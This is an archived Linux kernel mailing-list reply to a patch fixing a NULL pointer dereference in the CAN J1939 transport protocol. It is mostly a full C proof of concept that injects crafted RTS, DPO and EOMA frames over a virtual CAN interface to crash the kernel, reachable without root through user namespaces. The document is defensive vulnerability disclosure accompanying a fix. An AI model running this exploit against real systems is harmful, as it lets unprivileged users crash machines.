From: Weiming Shi <bestswngs@gmail.com>
To: Robin van der Gracht <robin@protonic.nl>,
Oleksij Rempel <o.rempel@pengutronix.de>,
Oliver Hartkopp <socketcan@hartkopp.net>,
Marc Kleine-Budde <mkl@pengutronix.de>
Cc: Bastian Stender <bst@pengutronix.de>,
Maxime Jayat <maxime.jayat@mobile-devices.fr>,
linux-can@vger.kernel.org, Xiang Mei <xmei5@asu.edu>
Subject: Re: [PATCH] can: j1939: fix NULL pointer dereference in j1939_session_completed()
Date: Sun, 17 May 2026 23:53:12 +0800 [thread overview]
Message-ID: <agnjbpTXcHVDuV-F@Air.local> (raw)
In-Reply-To: <20260517154426.4046979-2-bestswngs@gmail.com>
Required key configs for the poc:
- CONFIG_CAN=y
- CONFIG_CAN_J1939=y/m
- CONFIG_CAN_VCAN=y/m
- CONFIG_USER_NS=y
When CONFIG_USER_NS=y, an unprivileged user can trigger this vulnerability
by calling unshare(CLONE_NEWUSER | CLONE_NEWNET) to enter a new user and network
namespace, which grants CAP_NET_RAW without requiring root privileges.
```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/can.h>
#include <linux/can/raw.h>
#include <linux/can/j1939.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_link.h>
#define J1939_ETP_PGN_CTL 0xc800u
#define J1939_ETP_CMD_RTS 0x14
#define J1939_ETP_CMD_DPO 0x16
#define J1939_ETP_CMD_EOMA 0x17
#define LOCAL_ADDR 0x80
#define REMOTE_ADDR 0x42
#define INNER_PGN 0x0f000u
#define MSG_TOTAL 1792
static void rta_add(struct nlmsghdr *nh, int max, int type,
const void *data, int len)
{
int rta_len = RTA_LENGTH(len);
struct rtattr *rta = (struct rtattr *)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = rta_len;
if (data && len) memcpy(RTA_DATA(rta), data, len);
nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta_len);
}
static struct rtattr *rta_nest(struct nlmsghdr *nh, int type)
{
struct rtattr *rta = (struct rtattr *)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len));
rta->rta_type = type | NLA_F_NESTED;
rta->rta_len = RTA_LENGTH(0);
nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
return rta;
}
static void rta_nest_end(struct nlmsghdr *nh, struct rtattr *rta)
{
rta->rta_len = (char *)nh + nh->nlmsg_len - (char *)rta;
}
static int create_vcan(const char *name)
{
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) return -1;
char buf[1024];
memset(buf, 0, sizeof(buf));
struct nlmsghdr *nh = (struct nlmsghdr *)buf;
struct ifinfomsg *ifm;
nh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifm));
nh->nlmsg_type = RTM_NEWLINK;
nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
nh->nlmsg_seq = 1;
ifm = NLMSG_DATA(nh);
ifm->ifi_family = AF_UNSPEC;
rta_add(nh, sizeof(buf), IFLA_IFNAME, name, strlen(name) + 1);
struct rtattr *linfo = rta_nest(nh, IFLA_LINKINFO);
rta_add(nh, sizeof(buf), IFLA_INFO_KIND, "vcan", 5);
rta_nest_end(nh, linfo);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nh, .iov_len = nh->nlmsg_len };
struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa),
.msg_iov = &iov, .msg_iovlen = 1 };
sendmsg(fd, &msg, 0);
char rbuf[4096];
recv(fd, rbuf, sizeof(rbuf), 0);
close(fd);
return 0;
}
static int set_link_up(const char *name)
{
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) return -1;
int idx = if_nametoindex(name);
if (!idx) { close(fd); return -1; }
char buf[256];
memset(buf, 0, sizeof(buf));
struct nlmsghdr *nh = (struct nlmsghdr *)buf;
struct ifinfomsg *ifm;
nh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifm));
nh->nlmsg_type = RTM_NEWLINK;
nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nh->nlmsg_seq = 2;
ifm = NLMSG_DATA(nh);
ifm->ifi_family = AF_UNSPEC;
ifm->ifi_index = idx;
ifm->ifi_change = IFF_UP;
ifm->ifi_flags = IFF_UP;
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nh, .iov_len = nh->nlmsg_len };
struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa),
.msg_iov = &iov, .msg_iovlen = 1 };
sendmsg(fd, &msg, 0);
char rbuf[4096];
recv(fd, rbuf, sizeof(rbuf), 0);
close(fd);
return 0;
}
static uint32_t make_canid(uint32_t pgn, uint8_t da, uint8_t sa)
{
uint32_t pri = 6;
return CAN_EFF_FLAG | (pri << 26) | ((pgn & 0x3ff00) << 8) | ((uint32_t)da << 8) | sa;
}
static int send_etp_ctl(int fd, uint8_t cmd, uint32_t inner_pgn,
uint8_t b1, uint8_t b2, uint8_t b3, uint8_t b4,
uint8_t da, uint8_t sa)
{
struct can_frame f = {0};
f.can_id = make_canid(J1939_ETP_PGN_CTL, da, sa);
f.len = 8;
f.data[0] = cmd;
f.data[1] = b1;
f.data[2] = b2;
f.data[3] = b3;
f.data[4] = b4;
f.data[5] = (inner_pgn >> 0) & 0xff;
f.data[6] = (inner_pgn >> 8) & 0xff;
f.data[7] = (inner_pgn >> 16) & 0xff;
return write(fd, &f, sizeof(f));
}
int main(void)
{
printf("[*] Sequential PoC - no race condition needed\n");
if (create_vcan("vcan0") < 0) {
fprintf(stderr, "[-] create_vcan failed\n");
return 1;
}
if (set_link_up("vcan0") < 0) {
fprintf(stderr, "[-] set_link_up failed\n");
return 1;
}
int ifindex = if_nametoindex("vcan0");
if (!ifindex) { fprintf(stderr, "[-] no vcan0\n"); return 1; }
printf("[+] vcan0 ifindex=%d\n", ifindex);
/* Bind J1939 socket at LOCAL_ADDR (0x80) - creates the "receiver" */
int jsk = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
if (jsk < 0) { perror("socket J1939"); return 1; }
struct sockaddr_can jaddr = {0};
jaddr.can_family = AF_CAN;
jaddr.can_ifindex = ifindex;
jaddr.can_addr.j1939.name = J1939_NO_NAME;
jaddr.can_addr.j1939.addr = LOCAL_ADDR;
jaddr.can_addr.j1939.pgn = J1939_NO_PGN;
if (bind(jsk, (struct sockaddr *)&jaddr, sizeof(jaddr)) < 0) {
perror("bind LOCAL"); return 1;
}
printf("[+] J1939 bound at LOCAL=0x%x\n", LOCAL_ADDR);
/* Bind second J1939 socket at REMOTE_ADDR (0x42) - makes it "local" too */
int jsk2 = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
if (jsk2 < 0) { perror("socket J1939 remote"); return 1; }
struct sockaddr_can jaddr2 = {0};
jaddr2.can_family = AF_CAN;
jaddr2.can_ifindex = ifindex;
jaddr2.can_addr.j1939.name = J1939_NO_NAME;
jaddr2.can_addr.j1939.addr = REMOTE_ADDR;
jaddr2.can_addr.j1939.pgn = J1939_NO_PGN;
if (bind(jsk2, (struct sockaddr *)&jaddr2, sizeof(jaddr2)) < 0) {
perror("bind REMOTE"); return 1;
}
printf("[+] J1939 bound at REMOTE=0x%x\n", REMOTE_ADDR);
/* Raw CAN socket for injecting frames */
int rsk = socket(PF_CAN, SOCK_RAW, CAN_RAW);
if (rsk < 0) { perror("socket RAW"); return 1; }
int loopback = 1;
setsockopt(rsk, SOL_CAN_RAW, CAN_RAW_LOOPBACK, &loopback, sizeof(loopback));
struct sockaddr_can raddr = {0};
raddr.can_family = AF_CAN;
raddr.can_ifindex = ifindex;
if (bind(rsk, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
perror("bind RAW"); return 1;
}
printf("[+] Raw CAN socket ready\n");
printf("\n[*] Step 1: Send RTS (REMOTE->LOCAL, size=%d)\n", MSG_TOTAL);
uint32_t size = MSG_TOTAL;
send_etp_ctl(rsk, J1939_ETP_CMD_RTS, INNER_PGN,
size & 0xff, (size >> 8) & 0xff,
(size >> 16) & 0xff, (size >> 24) & 0xff,
LOCAL_ADDR, REMOTE_ADDR);
/* Wait for session to be created and RTS processed */
usleep(50000);
printf("[*] Step 2: Send malicious DPO (dpo=0x7FFFFF)\n");
/* DPO frame: bytes 2-4 = 24-bit packet offset (little-endian) */
/* j1939_etp_ctl_to_packet reads dat[2]|(dat[3]<<8)|(dat[4]<<16) */
send_etp_ctl(rsk, J1939_ETP_CMD_DPO, INNER_PGN,
0x00, /* number of packets to skip (ignored for our purpose) */
0xff, 0xff, 0x7f, /* DPO bytes: 0xFF | (0xFF<<8) | (0x7F<<16) = 0x7FFFFF */
LOCAL_ADDR, REMOTE_ADDR);
/* Wait for DPO to be fully processed */
usleep(50000);
printf("[*] Step 3: Send EOMA (LOCAL->REMOTE, triggers completion)\n");
uint32_t eoma_size = MSG_TOTAL;
send_etp_ctl(rsk, J1939_ETP_CMD_EOMA, INNER_PGN,
eoma_size & 0xff, (eoma_size >> 8) & 0xff,
(eoma_size >> 16) & 0xff, (eoma_size >> 24) & 0xff,
REMOTE_ADDR, LOCAL_ADDR);
/* If we reach here, the kernel didn't crash */
usleep(200000);
printf("[-] No crash - kernel survived\n");
close(rsk);
close(jsk);
close(jsk2);
return 0;
}
```
prev parent reply other threads:[~2026-05-17 15:53 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-05-17 15:44 [PATCH] can: j1939: fix NULL pointer dereference in j1939_session_completed() Weiming Shi
2026-05-17 15:53 ` Weiming Shi [this message]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=agnjbpTXcHVDuV-F@Air.local \
--to=bestswngs@gmail.com \
--cc=bst@pengutronix.de \
--cc=linux-can@vger.kernel.org \
--cc=maxime.jayat@mobile-devices.fr \
--cc=mkl@pengutronix.de \
--cc=o.rempel@pengutronix.de \
--cc=robin@protonic.nl \
--cc=socketcan@hartkopp.net \
--cc=xmei5@asu.edu \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.